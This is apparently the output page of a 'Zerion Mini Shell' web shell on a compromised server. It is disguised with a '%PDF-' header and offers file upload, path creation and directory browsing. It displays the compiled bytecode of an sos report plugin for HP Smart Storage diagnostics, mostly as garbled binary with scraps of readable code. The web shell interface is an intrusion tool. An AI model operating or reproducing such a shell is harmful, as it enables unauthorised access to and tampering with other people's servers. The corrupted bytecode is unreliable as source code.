%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/sos/report/plugins/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/hpssm.cpython-312.pyc

�

i��d�
��8�ddlmZmZmZddlZGd�dee�Zy)�)�Plugin�IndependentPlugin�	PluginOptNc�D�eZdZdZdZdZdZdZeddd�	�gZ	d
�Z
d�Zy)
�HpssmaG
    This plugin will capture details for each controller from Smart Storage
    Array Administrator, an Array diagnostic report from Smart Storage
    Administrator Diagnostics Utility and, when the plugins debug option is
    enabled will gather the Active Health System log via the RESTful Interface
    Tool (iLOREST).
    zHP Smart Storage Management�hpssm)�system�storage�hardware)�ilorest�ssacli�ssaducli�debugFzcapture debug data)�default�descc�l�d}dg}gd�}|j|D�cgc]	}|�d|����c}�tjd�}|dz}|j|�}g}|ddk(rD|d	j	�D�	�
cgc]&}	|j|	�}
|
r|
j
d
���(}}	}
|dz}|j|D��
cgc]}|D]}
|�|�d|
����
�c}
}�|j�}|jd|zd
��|jd�r|j|�yycc}wcc}
}	wcc}
}w)Nr
zctrl all show status)zarray all show detailzld all showzld all show detailzpd all showzpd all show detailzshow detail� z,^HP.*Smart Array (.*) in Slot ([0123456789])z ctrl all show config detail�statusr�output�z ctrl slot=z"ssaducli -v -adu -f %s/adu-log.zipzssaducli_-v_-adu.log)�suggest_filenamer)
�add_cmd_output�re�compile�collect_cmd_output�
splitlines�search�group�get_cmd_output_path�
get_option�do_debug)�self�cmd�subcmds�slot_subcmds�subcmd�pattern�config_detail_cmd�
config_detail�
ctrl_slots�line�m�ssacli_ctrl_slot_cmd�slot�slot_subcmd�logpaths               �:/usr/lib/python3/dist-packages/sos/report/plugins/hpssm.py�setupzHpssm.setupsu����"�
��
��	
���3:�;���V�
$�;�	
��*�*�K�L���"@�@���/�/�0A�B�
��
���"�a�'�&3�H�&=�&H�&H�&J�@�"�$+�N�N�4�$8�a�Q��'�'�!�*�@�J�@� #�]�2�����$�
.�
� ,�

.��%����
.��
.�	
��*�*�,�����0�7�:�3�	�	
�
�?�?�7�#��M�M�'�"�$��;
<��@��

.s�D%�9+D*�<D0
c�2�|jd|z|d��y)Nz5ilorest serverlogs --selectlog=AHS --directorypath=%szilorest.log)�runatr)r)r"r0s  r1r!zHpssm.do_debugMs"�����C�g�M��M�	�	
�N)�__name__�
__module__�__qualname__�__doc__�
short_desc�plugin_name�profiles�packagesr�option_listr2r!�r5r1rr
s>���/�J��K�1�H�1�H�	�'�5�/C�D��K�,#�\
r5r)�sos.report.pluginsrrrrrr?r5r1�<module>rAs"��D�C�	�D
�F�%�D
r5

Zerion Mini Shell 1.0